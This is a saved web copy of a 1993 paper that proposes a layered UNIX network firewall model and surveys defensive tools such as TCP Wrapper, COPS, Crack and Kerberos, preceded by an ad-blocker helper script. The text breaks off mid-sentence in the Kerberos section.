An Architectural Overview of UNIX Network Security.htm

<head>
<title>An Architectural Overview of UNIX Network Security</title>

<script type="text/javascript"><!--// <![CDATA[ - Ad Muncher helper script: do not remove without removing all references to this in the below page (eg: everything containing "ywzw", "ywzf" or "ywb")
var ywzwa,ywzwb,ywzwc,ywzwd,ywzwff,ywzwh,ywzwi,ywzwir,ywzwk,ywzwm,ywzwn,rp,ywzwq,ywzws,ywzwv,ywzww,ywzwy,ywzwro,ywzwolp,ywzwqn,ywzwqnbu,ywzwtop,ywzwpld,ywzwplt,ywzwtopt,ywzwagt;ywzwpld=1;ywzwh=1;ywzwk=1;ywzwd=1;ywzww=0;ywzwy=0;ywzwro=0;ywzwi="";ywzwz="http://www.admuncher.com/";
function ywzwps(){eval("ywzwtop="+ywzwtopt+";");};
function ywb(z){if(z.location)return false;else return z.blur();};
function ywzwj(){ywzwps();if(ywzwtop.ywzwolp)ywzwf();return true;};
function ywzf(z){if(z.location)return false;else return z.focus();};
function ywzwf(){ywzwps();ywzwtop.ywzwqn=ywzwtop.ywzwqnbu;ywzwtop.ywzwolp=0;};
function ywzwr(e){ywzwps();if((e&&e.which==1)||(window.event.button==1)){ywzwtop.ywzwqn=1;setTimeout("ywzwtop.ywzwqn=0;",500);};};
function ywzwe(z){ywzwps();ywzwtop.ywzwa=0;ywzwtop.ywzwqnbu=ywzwtop.ywzwqn;ywzwtop.ywzwqn=0;ywzwtop.ywzwolp=1;setTimeout("ywzwtop.ywzwa=1;",5000);ywzwx();if(ywzwh){ywzwh=0;if(ywzwff)ywzwff();};if(z!=7)ywzwf();};
function ywzwx(){ywzwq=""+document.onmousedown;if(!document.onmousedown||!ywzwq||ywzwq.indexOf("ywzwr")!=-1){if(document.layers)document.captureEvents(Event.MOUSEDOWN);document.onmousedown=ywzwr;};ywzwq=""+window.onload;if(!window.onload||!ywzwq||(ywzwq.indexOf("ywzwe")!=-1&&ywzwq.indexOf("ywzwf")==-1))window.onload=ywzwe;};
function ywzwu(a){ywzwps();ywzwtop.ywzwi=ywzwtop.ywzwi.substring(0,1024);while(ywzwtop.ywzwi.indexOf('"')!=-1)ywzwtop.ywzwi=ywzwtop.ywzwi.replace('"',"<~am~`");while(ywzwtop.ywzwi.indexOf("<~am~`")!=-1)ywzwtop.ywzwi=ywzwtop.ywzwi.replace("<~am~`",'\\"');ywzwtop.ywzwir='ywzwtop.defaultStatus="'+ywzwtop.ywzwi+'";';if(!ywzwtop.ywzws){ywzwtop.ywzws=1;setInterval("eval(ywzwtop.ywzwir);",3000);};setTimeout("eval(ywzwtop.ywzwir);",1000);};
function ywzwt(a){ywzwps();if(ywzwtop.ywzwqn||ywzwtop.ywzwa){ywzwtop.ywzwqn=0;return alert(a);};if(a&&ywzwd){ywzwv=a;while(ywzwv.indexOf("\n")!=-1)ywzwv=ywzwv.replace("\n"," ");ywzwtop.ywzwi="Alert message blocked by Ad Muncher: "+ywzwv;ywzwu();};return false;};
function ywzwo(a,b,c,d){ywzwps();ywzwtop.ywzwqn=0;if(!a)a="";if(c){c=c.toLowerCase();while(c.indexOf(" ")!=-1)c=c.replace(" ","");if(ywzww){c=c.replace("height=","xxx=");c=c.replace("width=","xxx=");c=c.replace("top=","xxx=");c=c.replace("left=","xxx=");c=c.replace("screenx=","xxx=");c=c.replace("screeny=","xxx=");};if(ywzwy){c=c.replace("location=","xxx=");c=c.replace("toolbar=","xxx=");c=c.replace("menubar=","xxx=");c=c.replace("resizable=","xxx=");c=c.replace("scrollbars=","xxx=");c=c.replace("status=","xxx=");c=c.replace("titlebar=","xxx=");c=c.replace("fullscreen=","xxx=");c=c.replace("directories=","xxx=");};};if(ywzwy){if(c)c+=",";else c="";c+="location,toolbar,menubar,resizable,scrollbars,status,titlebar,directories";};if(d)return open(a,b,c,d);else if(c)return open(a,b,c);else if(b)return open(a,b);else return open(a);};
function ywzw(a,b,c,d){ywzwps();ywzwagt=navigator.userAgent.toLowerCase();if(ywzwro||ywzwtop.ywzwa||ywzwtop.ywzwqn||typeof(parent.frames[b])=="subwindow"||typeof(parent.frames[b])=="object"||b=="_top"||b=="_self"||b=="_parent"||((ywzwagt.indexOf("msie")!=-1&&ywzwagt.indexOf("opera")==-1)&&(b=="_search"||b=="_media"))){return ywzwo(a,b,c,d);};if(a){ywzwp="/admuncherpopcheck&"+Math.random();ywzwm=new Image();ywzwm.src=a+ywzwp;ywzwm=ywzwm.src.replace(ywzwp,"");ywzwn=ywzwm.toLowerCase();}else{ywzwm="(No URL)";ywzwn=document.URL.toLowerCase();};if(ywzwa==-1||(ywzwn.indexOf(".aol.com/aimexpress")!=-1)||(ywzwn.indexOf(".bcn-hj.com/")!=-1)||(ywzwn.indexOf(".cnn.com/pr/video/")!=-1)||(ywzwn.indexOf(".com/gp/")!=-1&&ywzwn.indexOf(".asp")!=-1&&ywzwn.indexOf("packageid=")!=-1)||(ywzwn.indexOf(".feedroom.com/")!=-1)||(ywzwn.indexOf(".mail.com/templates/common/")!=-1)||(ywzwn.indexOf("//go.icq.com/")!=-1)||(ywzwn.indexOf("/register/register.jsp?")!=-1)||(ywzwn.indexOf("download.com/")!=-1)||(ywzwn.indexOf("ebizautos.com/shared/viewer.cfm")!=-1)||(ywzwn.indexOf("fiv.sp.co.gg")!=-1)||(ywzwn.indexOf("novapal.com/")!=-1&&ywzwn.indexOf(".pdf")!=-1)||(ywzwn.indexOf("pogo.com/arena/game-outerframeset.jsp?")!=-1)||(ywzwn.indexOf("zdnet.com/")!=-1)){return ywzwo(a,b,c,d);};if(ywzwd&&ywzwm){if(ywzwtop.ywzwb){ywzwc="s";ywzwtop.ywzwb+=", "+ywzwm;}else{ywzwc="";ywzwtop.ywzwb=ywzwm;};ywzwtop.ywzwi="Popup"+ywzwc+" on page blocked by Ad Muncher: "+ywzwtop.ywzwb;ywzwu();};return false;};
ywzwx();try{if(top.ywzwpld){top.rplt=1;ywzwtopt="top";}else ywzwtopt="self";}catch(e){ywzwtopt="self";};if(ywzwk)window.onerror=ywzwj;
// ]]>> --></script>


</head>
<body>
       <H1>An Architectural Overview of UNIX Network Security</H1>
                        February 18, 1993
<P>
                       Robert B. Reinhardt<BR>
                    breinhar@access.digex.com
<P>
                   ARINC Research Corporation<BR>
                         2551 Riva Road<BR>
                       Annapolis, MD 21401
<p>
<H2>1.  Introduction</H2>
<P>
     The goal of this paper is to present my concept of a UNIX
network security architecture based on the Internet connectivity
model and Firewall approach to implementing security.  This paper
defines several layers of a firewall, which depict the layers of
vulnerability.  This paper also provides some subjective comments
on some of the most widely known tools and methods available to
protect UNIX networks today, plus a brief discussion of the threat
and the risk.
<P>
     The list of tools and methods that I present in this paper
were chosen loosely on the basis of the following:  (a) My attempt
to find at least one, maybe several examples of a tool or method
designed to address a part of the architectural model (some
duplication or overlap is accepted); (b) my preference to discuss
tools that are well-known and/or part of the public domain (this is
not a strict rule, although I did not purposely seek out commercial
products); and (c) I hoped to find tools that had a recent paper
written by the tools' author, for the reader to use as detailed
reference beyond the scope of this document.
<P>
     Nothing in this paper should be construed as a product
endorsement.  I apologize in advance to the authors of these tools
and methods; since I am only presenting a brief overview, I cannot
do justice to a comprehensive description of them.  I also
apologize to any authors whom I may have left out of this
discussion; it was not intentional.  The reader should check the
availability information that accompanies each tool and obtain
additional information prior to proceding with any plans or
implementation.  Of course, there is no warranty expressed or
implied in this paper.
<P>
<H2>2.  Risk, Threat, and Vulnerability</H2>
<P>
     This section presents a general overview of the risk and the
threat to the security of your network.  These are general
statements that apply to almost every network.  A complete analysis
of your network's risk, threat, and vulnerability should be done in
order to assess in detail the requirements of your own network.
<P>
<H3>2.1  Risk</H3>
<P>
     The risk is the possibility that an intruder may be successful
in attempting to access your local-area network via your wide-area
network connectivity.  There are many possible effects of such an
occurence.  In general, the possibility exists for someone to:
<P>
<PRE>
         READ ACCESS.  Read or copy information from
          your network.

         WRITE ACCESS.  Write to or destroy data on
          your network (including planting trojan
          horses, viruses, and back-doors).

         DENIAL OF SERVICE.  Deny normal use of your
          network resources by consuming all of your
          bandwidth, CPU, or memory.
</PRE>
<P>
<H3>2.2  Threat</H3>
<P>
     The threat is anyone with the motivation to attempt to gain
unauthorized access to your network or anyone with authorized
access to your network.  Therefore it is possible that the threat
can be anyone.  Your vulnerability to the threat depends on several
factors such as:
<P>
<PRE>
         MOTIVATION.  How useful access to or
          destruction of your network might be to
          someone.

         TRUST.  How well you can trust your authorized
          users and/or how well trained are your users
          to understand what is acceptable use of the
          network and what is not acceptable use,
          including the consequences of unacceptable
          use.
</PRE>
<P>
<H3>2.3  Vulnerability</H3>
<P>
     Vulnerability essentially is a definition of how well
protected your network is from someone outside of your network that
attempts to gain access to it; and how well protected your network
is from someone within your network intentionally or accidently
giving away access or otherwise damaging the network.
<P>
     Motivation and Trust (see Threat, section 2.2) are two parts
of this concern that you will need to assess in your own internal
audit of security requirements and policy, later I will describe
some references that are available to help you start this process.   
<P>
     The rest of this paper is a presentation of my concept of the
architectural model of UNIX network security (the focus of this
paper).  This is geared toward connectivity to the Internet (or
Internet Protocol connectivity in general), employing the FIREWALL
method of reducing vulnerability to the risks and the threat.
<p>
<H2>3.  UNIX Network Security Architecture</H2>
<P>
     For each of the layers in the UNIX Network Security
Architecture (UNIX/NSA) model below, there is a subsection that
follows that gives a brief description of that layer and some of
the most widely used tools and methods for implementing security
controls.  I am using the ISO/OSI style of model since most people
in the UNIX community are familiar with it.  This architecture is
specifically based on UNIX Internet connectivity, but it is
probably general enough to apply to overall security of any network
methodology.  One could argue that this model applies to network
connectivity in general, with or without the specific focus of UNIX
network security.
<P>
<PRE>
Layer     Name                Functional Description
</PRE>
<PRE>
LAYER 7   POLICY              POLICY DEFINITION AND DIRECTIVES
LAYER 6   PERSONNEL           PEOPLE WHO USE EQUIPMENT AND DATA
LAYER 5   LAN                 COMPUTER EQUIPMENT AND DATA ASSETS
LAYER 4   INTERNAL-DEMARK     CONCENTRATOR - INTERNAL CONNECT
LAYER 3   GATEWAY             FUNCTIONS FOR OSI 7, 6, 5, 4
LAYER 2   PACKET-FILTER       FUNCTIONS FOR OSI 3, 2, 1
LAYER 1   EXTERNAL-DEMARK     PUBLIC ACCESS - EXTERNAL CONNECT
</PRE>
<P>
     The specific aim of this model is to illustrate the
relationship between the various high and low level functions that
collectively comprise a complete security program for wide-area
network connectivity.  They are layered in this way to depict (a)
the FIREWALL method of implementing access controls, and (b) the
overall transitive effect of the various layers upon the adjacent
layers, lower layers, and the collective model.  The following is
a general description of the layers and the nature of the
relationship between them.  After this brief discussion of what
each layer is, the next section of this paper will discuss examples
of common methods and tools used to implement some of your options
at each level, or at least try to tell you where to find out how to
get started.  Note that there may be some overlap between the
definitions of the various levels, this is most likely between the
different layers of the FIREWALL itself (layers 2 and 3).
<P>
     The highest layer [ 7 - POLICY ] is the umbrella that the
entirety of your security program is defined in.  It is this
function that defines the policies of the organization, including
the high level definition of acceptable risk down to the low level
directive of what and how to implement equipment and procedures at
the lower layers.  Without a complete, effective, and implemented
policy, your security program cannot be complete.
<P>
     The next layer [ 6 - PERSONNEL ] defines yet another veil
within the bigger umbrella covered by layer 7.  The people that
install, operate, maintain, use, and can have or do otherwise have
access to your network (one way or another) are all part of this
layer.  This can include people that are not in your organization,
that you may not have any administrative control over.  Your policy
regarding personnel should reflect what your expectations are from
your overall security program.  Once everything is defined, it is
imperitive that personnel are trained and are otherwise informed of
your policy, including what is and is not considered acceptable use
of the system.
<P>
     The local-area network layer [ 5 - LAN ] defines the equipment
and data assets that your security program is there to protect.  It
also includes some of the monitor and control procedures used to
implement part of your security policy.  This is the layer at which
your security program starts to become automated electronically,
within the LAN assets themselves.
<P>
     The internal demarkation layer [ 4 - INTERNAL DEMARK ] defines
the equipment and the point at which you physically connect the LAN
to the FIREWALL that provides the buffer zone between your local-
area network (LAN) and your wide-area network (WAN) connectivity.   
This can take many forms such as a network concentrator that homes
both a network interface for the FIREWALL and a network interface
for the LAN segment.  In this case, the concentrator is the
internal demarkation point.  The minimum requirement for this layer
is that you have a single point of disconnect if the need should
arise for you to spontaneosly separate your LAN from your WAN for
any reason.
<P>
     The embedded UNIX gateway layer [ 3 - GATEWAY ] defines the
entire platform that homes the network interface coming from your
internal demark at layer 4 and the network interface going to your
packet filtering router (or other connection equipment) at layer 3.   
The point of the embedded UNIX gateway is to provide FIREWALL
services (as transparent to the user or application as possible)
for all WAN services.  What this really is must be defined in your
policy (refer to layer 1) and illustrates how the upper layers
overshadow or are transitive to the layers below.  It is intended
that the UNIX gateway (or server) at this layer will be dedicated
to this role and not otherwise used to provide general network
resources (other than the FIREWALL services such as proxy FTP,
etc.).  It is also used to implement monitor and control functions
that provide FIREWALL support for the functions that are defined by
the four upper ISO/OSI layers (1-Application, 2-Presentation, 3-
Session, 4-Transport).  Depending on how this and the device in
layer 2 is implemented, some of this might be merely pass-thru to
the next level.  The configuration of layers 3 and 2 should
collectively provide sufficient coverage of all 7 of the functions
defined by the ISO/OSI model.  This does not mean that your
FIREWALL has to be capable of supporting everything possible that
fits the OSI model.  What this does mean is that your FIREWALL
should be capable of supporting all of the functions of the OSI
model that you have implemented on your LAN/WAN connectivity.
<P>
     The packet filtering layer [ 2 - FILTER ] defines the platform
that homes the network interface coming from your gateway in layer
3 and the network interface or other device such as synchronous or
asynchronous serial communication between your FIREWALL and the WAN
connectivity at layer 1.  This layer should provide both your
physical connectivity to layer 1 and the capability to filter
inbound and outbound network datagrams (packets) based upon some
sort of criteria (what this criteria needs to be is defined in your
policy).  This is typically done today by a commercial off-the-
shelf intelligent router that has these capabilities, but there are
other ways to implement this.  Obviously there is OSI link-level
activity going on at several layers in this model, not exclusively
this layer.  But, the point is that functionally, your security
policy is implemented at this level to protect the overall link-
level access to your LAN (or stated more generally; to separate
your LAN from your WAN connectivity).
<P>
     The external demarkation layer [ LAYER 1 ] defines the point
at which you connect to a device, telephone circuit, or other media
that you do not have direct control over within your organization.   
Your policy should address this for many reasons such as the nature
and quality of the line or service itself and vulnerability to
unauthorized access.  At this point (or as part of layer 2) you may
even deploy yet another device to perform point to point data link
encryption.  This is not likely to improve the quality of the line,
but certainly can reduce your vulnerability to unauthorized access.   
You also need to be concerned about the dissemination of things at
this level that are often considered miscellaneous, such as phone
numbers or circuit IDs.Illustration of the UNIX/NSA Model
<P>
<PRE>
------------------------------------------------------------------
|                             POLICY                             |
------------------------------------------------------------------
                                |
                                |
---------------------------------------------------
|                   PERSONNEL                     |
---------------------------------------------------
                        |
                        |
---------------------------------
|              LAN              |
---------------------------------
           Enet |
           Enet |
        -----------------
        |  INTERNAL-D   |
        -----------------
           Enet |
           Enet |
-----------------   UNIX server with two Ethernet interfaces and
| GATEWAY-SERVER|   custom software and configuration to implement
-----------------   security policy (proxy services, auditing).
     Enet |
     Enet |
-----------------
| PACKET-FILTER |   cisco IGS router with access lists
-----------------
          X.25 |
               |
        -----------------
        |   EXTERNAL-D  |     leased DID line to WAN service
        -----------------
               |
               |
        + Public Access +
</PRE>
<P>
<H3>3.1  PUBLIC or NON-PRIVATE CONNECTIVITY</H3>
<P>
     This layer of the model characterizes all external physical
connectivity to your network.  This normally includes equipment and
telephone lines that you do not own or do not have control over.   
The point of illustrating this is to show this part of the
connectivity as part of the overall model.  At some point at this
layer, equipment that you do own or have control of will connect to
the external or public network.  Your own policy and implementation
must take the dynamics of this connectivity into account.
<P>
<H3>3.2  ROUTER (FIREWALL PHYSICAL LAYER)</H3>
<P>
     This layer of the model depicts the point at which your
physical connectivity and your data stream become one.  Without
going into hysterics about all of what a router is and does; the
point is that at this layer, your electrical connectivity, which
contains encapsulated data in some form, becomes information.  Your
router will decode the electrical signals from the physical
connectivity and turn it into packets of encapsulated data for any
one of various networking protocols.  Within this packet of
information is contained the source address, destination address,
protocol ID, the datagram itself, etc.
<P>
     Many routers available today include the capability to create
access control lists (ACL) for either one or both of the outgoing
and the incoming data interfaces [1][5].  This normally includes
the capability to filter out or allow in packets based upon source
address, destination address, protocol (such as TCP, UDP, ICMP,
etc.) and specific port numbers (TCP and UDP).  This provides you
the flexibility to design your own network access control policy,
enforced at the router, before access to your internal network
resources is required or granted.  In this way, routers alone are
often used to provide the firewall functionality.
<P>
     While the router ACL capability offers a big advantage, it
should not be your only protection because, basically the router
only provides protection at the first three levels of the OSI model
(Physical, Data Link, and Network layers).  The rest of the layers
of this firewall model discuss ways to address functional security
of the other four OSI layers (Transport, Session, Presentation, and
Application).
<P>
     Availability:  I only have personal experience with CISCO
routers, however I've been told that Wellfleet and Proteon routers
also have this feature.  There may be other vendors as well, but
they probably all implement it a little differently.
<P>
<H3>3.3  DUAL-HOMED UNIX GATEWAY SERVER (FIREWALL LOGICAL LAYER)</H3>
<P>
     This layer of the model illustrated the point at which your
various IP packets (to and from the router) are used by the network
operating system (such as TCP/IP under UNIX) to provide the
services identified in the upper four layers of the OSI model.  Of
course, this UNIX server is actually doing work at the bottom three
OSI layers also, in order to communicate with:  (a) the router on
one side of the server, and (b) the local-area network on the other
side of the server.
<P>
     At this point the router is already implementing your security
policy for the bottom three OSI layers, now it's up to your dual-
homed [10] UNIX server (acting as a gateway) to implement your
security policy relating to functions of the network for the upper
four OSI layers.  This can mean a lot of things.  Depending on what
your security policy says you are supposed to enforce, what you do
at this point varies.  The following tools and methods are example
of some of the tools and methods (functionality) available today:
<P>
<H4>3.3.1  TCP Wrapper</H4>
<P>
     The "TCP WRAPPER" tool [2] provides monitoring and control
of network services.  Essentially, what happens is that you
configure inetd on your dual-homed gateway to run the TCP WRAPPER
software whenever certain services (ports) are connected to.   
Depending on how you configure TCP WRAPPER, it will then LOG
information about the connection and then actually start the
intended SERVER program that the connection was intended for.   
Since you have the source to the tool, you can modify it to do
more depending on what your needs are. For example, you may want
TCP WRAPPER to connect the user to a proxy service instead of the
actual program, then have your proxy software handle the
transaction in whatever way your security requirements demand.
<P>
     Availability:  This is available from several sources, but
to ensure that you get the most recent copy that CERT has
verified, you should use anonymous FTP to retrieve it from
cert.org in ~/pub/tools/tcp_wrappers/tcp_wrappers.*.
<P>
<H4>3.3.2  SOCKS library and sockd</H4>
<P>
     The "sockd" and "SOCKS Library" [3] provide another way to
implement a "TCP Wrapper."  It is not intended to make the system
it runs on secure, but rather to centralize ("firewall") all
external internet services.  The sockd process is started by
inetd whenever a connection is requested for certain services,
and then only allows connections from approved hosts (listed in a
configuration file).  The sockd also will LOG information about
the connection.  You can use the Socks Library to modify the
client software to directly utilize the sockd for outgoing
connections also, but this is described as very tedious and of
course requires you to have the source to those client programs.
<P>
     Availability:  The socks package, which in addition to
including both the daemon and the library, has a pre-modified FTP
client and finger client; it is available via anonymous FTP from
s1.gov in ~/pub as socks.tar.Z.  Contact the authors for more   
information.  David Koblas (koblas@netcom.com) or Michelle R.
Koblas (mkoblas@nas.nasa.gov).
<P>
<H4>3.3.3  Kernel_Wrap for SunOS RPC via Shared Libraries</H4>
<P>
     Essentially this is a wrapper for SunOS daemons that use RPC
[4], such as portmap, ypserv, ypbind, ypupdated, mountd,
pwdauthd, etc.  To utilize this, you must have SunOS 4.1 or
higher and must have the capability to rebuild your shared
libraries (but, you don't need the source to your entire system).   
Essentially what happens is that you modify the function calls
that the kernel uses to establish RPC connections, such as
accept(), recvfrom() and recvmsg().  Since these calls are
maintained in the shared libraries, you have access to modify
them without rewriting the kernel.
<P>
     Availability:  The secured C library package to implement
this is available via anonymous FTP from eecs.nwu.edu in
~/pub/securelib.
<P>
<H4>3.3.4  Swatch</H4>
<P>
     Simple WATCHER [6] is really two things, it is a program
used to parse through the myriad of LOG data generated by the
various security programs, in particular "syslog."  But, it's
more than that.  It is fully configurable with triggers
(actions), so that while it is continuously monitoring the LOG in
"real-time," it can take actions based upon certain high-priority
events that you tell it to watch for.  To get full use of this,
you will need to modify your network service daemons such as ftpd
and telnetd so that enhanced logging is added to syslog, to feed
SWATCH.
<P>
     Availability:  The SWATCH source and documentation is
available via anonymous FTP from sierra.stanford.edu in
~/pub/sources.
<P>
<H4>3.3.5  Controlled Access Point (CAP)</H4>
<P>
     This is more of a method or protocol definition than a
specific product.  CAP [7] provides a network mechanism intended
to reduce the risk of:  password guessing, probing for well-known
accounts with default passwords, trusted host rlogin, and
password capture by network snooping.  It is really a design for
a variation or enhancement to the general firewall approach to
connecting two or more networks.  In the paper describing this
there is an example of two local nets, one a secure segment with
an authentication service, and the other an unsecure segment.
Both communicate with each other via a CAP, while there is a
router for communication to public networks connected on the
unsecure side of the CAP.  The CAP is essentially a router with
additional functionality to detect incoming connection requests,
intercept the user authentication process, and invoke the
authentication server.
<p>   
     Availability:  Unknown.  Contact the authors for more
information.  J. David Thompson (thompsond@orvb.saic.com) and
Kate Arndt (karndt@mitre.org).
<P>
<H4>3.3.6  Mail Gateway</H4>
<P>
     This is more of a procedure than a software package
(although there are packages designed just to do this).  I
included this to maintain continuity with what I'm trying to
illustrate in this paper.  This really should be applied to all
network services that require external connectivity (meaning any
communication over non-private or non-secure channels).  In the
simplest implementation of this, you configure your router to
filter packets so that all mail traffic (SMTP protocol for
example) is only allowed to and from one host, the "Mail
Gateway."  Likewise, your DNS and MTA software will need to be
configured for this as well.
<P>
<H4>3.3.7  Tty Wrapper</H4>
<P>
     This is one of my pet ideas.  I have not seen something like
this around, and I'll probably never have time to develop it.   
But, essentially this would be like "TCP Wrapper," only it is
designed specifically for serial communications.  After that, we
will need a "Pseudo-Tty Wrapper," (something more than just
filtering out the telnet port) but that is for another day.
<P>
<H4>3.3.8  HSC-Gatekeeper</H4>
<P>
     The HSC-Gatekeeper from Herve' Schauer Consultants [8], is a
complete solution to both layers 1 and 2 of this firewall model.   
It consists of a thorough firewall methodology and authentication
server, providing pass-thru FTP and TELNET services.  The author
(Herve Schauer) noted that HSC-Gatekeeper is alone to be able to
offer fully transparent authentication for these services.  I
have not had personal experience with HSC's products, so I cannot
make a conclusive statement about it other than to comment that
the description of it in HSC's paper "An Internet Gatekeeper"
(available in the USENIX Proceedings) depicts it (IMHO) as a very
comprehensive solution.
<P>
     Availability:  For more information, contact Herve Schauer
via e-mail at Herve.Schauer@hsc-sec.fr.
<P>
<H4>3.3.9  AT&T Inet</H4>
<P>
     Since I discussed HSC's firewall solution, I thought it only
fair to mention AT&T's INET Gateway.  For a complete description
of AT&T's internal solution, you should read Bill Cheswick's
paper [9] "The Design of a Secure Internet Gateway."  For
additional information, contact the author via e-mail at
ches@research.att.com.  I do not believe that AT&T is in the
business of selling this solution to anyone, but the paper
describes in good detail how it was done.  It should provide the   
puritan firewaller additional depth to the problems and possible
solutions to an Internet firewall approach.
<P>
<H3>3.4  COMPUTERS ON THE LOCAL-AREA NETWORK</H3>
<P>
     This layer of the model depicts the place where you you are
potentially at the greatest risk.  The previous layers discussed
ways to protect access to this layer of the network.  This layer
includes all of you local-area network, workstations, file
servers, data bases, and other network resources.  This is also
the point at which your user community sits at their desks and
use the network.
<P>
     There are several things to be concerned about here, access
to this layer in the first place notwithstanding.  Just because
you think you have protected and may be monitoring access to this
layer within the previous layers, does not mean that use of
computers and other resources within your local-area network
should become a free for all.  Again, this depends on what you
identify in your own particular security policy but, at this
layer you should do some routine checking for possible breaches
of your firewall that would leave its mark at this layer and pay
close attention to effective password handling, etc.  This is
also the layer of this model at which you want to concern
yourself with training your users, after all this is where they
can potentially make their mistakes (and harm your network).
<P>
<H4>3.4.1  Computer Oracle and Password System (COPS)</H4>
<P>
     COPS is a UNIX security status checker.  Essentially what it
does is check various files and software configurations to see if
they have been compromised (edited to plant a trojan horse or
back door), and checks to see that files have the appropriate
modes and permissions set to maintain the integrity of your
security level (make sure that your file permissions don't leave
themselves wide open to attack/access).
<P>
     Many vendors of UNIX are now bundling a security status
checker with the OS, usually under the nomenclature of a "C2" or
"trusted system."  You may still find that this package has more
features than your canned package.  Compare them.
<P>
     Additional Comments:  The current version of COPS (1.04)
makes a limited attempt to detect bugs that are posted in CERT
advisories.  Also, it has an option to generate a limited script
that can correct various security problems that are discovered.   
Dan also offers a quick hint that should easily get you started
using COPS.  After you have unarchived the COPS package, perform
the following steps:  './reconfig', 'make', and './cops -v -s . -
b bit_bucket'. -- There is a lot of README documentation included
if you need more help.
<P>
     Availability:  COPS can be retrieved via anonymous FTP from
cert.org in ~/pub/tools/cops.
<P>   
<H4>3.4.2  Chkacct</H4>
<P>
     Chkacct [11] is a COPS for the ordinary user.  This tool is
made available to the users to run, or it is run for them once
per day.  It will do an integrity check on the status of files in
their own account and then mail them the results (such as "Dear
user:  Your .rhosts file is unsafe").  This package can help make
your users more aware of security controls and raise their level
of participation in the program.
<P>
     Availability:  Chkacct is distributed with the COPS package
(>= COPS 1.04), for additional information contact
shabby@mentor.cs.purdue.edu.
<P>
<H4>3.4.3  Crack</H4>
<P>
     Crack helps the security administrator identify weak
passwords by checking for various weaknesses and attempting to
decrypt them.  If Crack can figure out your password, then you
must choose a better password.  It is very likely that a
determined intruder will be able to get the password too (using
similar techniques, or the Crack program itself, since it is
publicly available).
<P>
     Availability:  Crack is available via anonymous FTP from
cert.org in ~/pub/tools/crack/crack_4.1-tar.Z.
<P>
<H4>3.4.4  Shadow</H4>
<P>
     The shadow password suite of programs [12] replaces the
normal password control mechanisms on your system to remove the
encrypted password from the publicly readable file /etc/passwd
and hides them in a place that only this program has permission
to read.  It consists of optional, configurable components,
provides password aging to force users to change their passwords
once in awhile, adds enhanced syslog logging, and can allow users
to set passwords up to a length of sixteen characters.
<P>
     Many vendors of UNIX are now bundling a shadow password
suite with the OS, usually under the nomenclature of a "C2" or
"trusted system."  You may still find that this package has more
features than your canned package.  Compare them.
<P>
     Availability:  Shadow is available from USENET archives
which store the comp.sources.misc newsgroup.  Distribution is
permitted for all non-commercial purposes.  For more information
contact the author, John F. Haugh III (jfh@rpp386.cactus.org).
<P>
<H4>3.4.5  Passwd+</H4>
<P>
     Passwd+ is a proactive password checker [13] that replaces
/bin/passwd on your system.  It is rule-based and easily
configurable.  It prevents users from selecting a weak password   
so that programs like "CRACK" can't guess it, and it provides
enhanced syslog logging.
<P>
     Many vendors of UNIX are now bundling a proactive password
checker with the OS, usually under the nomenclature of a "C2" or
"trusted system."  You may still find that this package has more
features than your canned package.  Compare them.
<P>
     Availability:  Passwd+ (developed by Matt Bishop) is
available via anonymous FTP from dartmouth.edu in
~/pub/passwd+tar.Z.
<P>
<H4>3.4.6  Audit</H4>
<P>
     Audit is a policy-driven security checker for a
heterogeneous environment [14].  It is fully configurable so that
you can set up Audit to exactly match your site's security
policy.  This program functionally does what COPS is intended to
do, but does not hard-code your policy decisions for you the way
that COPS does.
<P>
     Many vendors of UNIX are now bundling an auditing subsystem
with the OS, usually under the nomenclature of a "C2" or "trusted
system."  You may still find that this package has more features
than your canned package.  Compare them.  One particular subject
to note is that most (IMHO) vendors auditing subsystems only
collect and regurgitate tons of raw data, with no guidance and
assistance for using that information.  They leave that up to
you.  The Audit and/or Swatch tools are probably better.
<P>
     Availability:  The final version of Audit will eventually be
posted to USENET.  However, the beta release will only be made
available on a limited basis, to larger, heterogeneous sites. If
your interested in participating in the beta test, send e-mail to
the auther, Bjorn Satdeva (bjorn@sysadmin.com).
<P>
<H4>3.4.7  Miro</H4>
<P>
     Miro [14] is a suite of tools for specifying and checking
security contraints (like COPS and Audit), including a couple
programming languages.  It is general because it is not tied to
any particular OS, and it is flexible because security
administrators express site policies via a formal specification
language.  It is easy to extend or modify a policy by simply
augmenting or changing the specification of the current policy.
<P>
     Availability:  Miro is the product of a large research
project, and to understand it you need more than the paragraph
I've written above.  For more information about the Miro project
send e-mail to (miro@cs.cmu.edu), there is even a video
available.  The authors Ph.D thesis, as well as the sources for
the Miro tools, are available via anonymous FTP from
ftp.cs.cmu.edu.  When you connect there, type "cd
/afs/cs/project/miro/ftp" and "get ftp-instructions"; this will
explain how to get the thesis and/or software.
<P>   
<H3>3.5  ADDITIONAL SECURITY ENHANCEMENTS</H3>
<p>
     The tools described in firewall layers {1...4} (sections 3.1
to 3.4) above, are what I consider part of a "base" set of tools
and functional requirements for general security administration.   
The tools and methods described in this section are additional
measures that can be combined with or added to your overall
security program at any of the other levels.
<P>
<H4>3.5.1  One-time Password Key-Card</H4>
<P>
     Since reusable passwords can be captured and used/reused by
intruders, consider a "one-time password" scheme.  One-time
passwords can be implemented using software-only solutions or
software/hardware solutions, and there are several commercial
products available.  The following is an example of what CERT
uses.  Each user is assigned a "Digital Pathways" key-card
(approximately $60 per user).  When you enter your PIN code, it
supplies a password that is good only one time.  The only other
piece to this, is software that replace the login shell on your
"firewall" server.
<P>
     Availability:  The source-code for this shell is based on
code from the key card vendor and is currently not available to
the public domain via anonymous FTP.  For additional information
about this, send e-mail to (cert@cert.org).
<P>
<H4>3.5.2  Privacy Enhanced Mail (PEM)</H4>
<P>
     PEM is a RSA-based encryption scheme that encrypts sensitive
information, but more than that it checks for message integrity
and non-repudiation of origin, so that the originator cannot deny
having sent the message. PEM is actually a protocol that is
designed to allow use of symmetric (private-key) and asymmetric
(public-key) cryptography methods.  In this example, Trusted
Information Systems, Inc. (TIS) has implemented a PEM package
using the public-key technique together with the Rand MH Message
Handling System (version 6.7.2).  TIS/PEM libraries [16] can be
adapted for implementation of non-mail applications as well.
<P>
     Availability:  TIS/PEM is a commercially available product,
for additional information send e-mail to (pem-info@tis.com).
<P>
<H4>3.5.3  Kerberos</H4>
<P>
     Kerberos is a DES-based encryption scheme that encrypts
sensitive information, such as passwords, sent via the network
from client software to the server daemon process. The network
services will automatically make requests to the Kerberos server
for permission "tickets."  You will need to have the source to
your client/server programs so that you can use the Kerberos
libraries to build new applications.  Since Kerberos tickets are
cached locally in /tmp, if there is more than one user on a given
workstation, then a possibility for a collision exists.  Kerberos
also relies upon the system time to operate, therefore it should
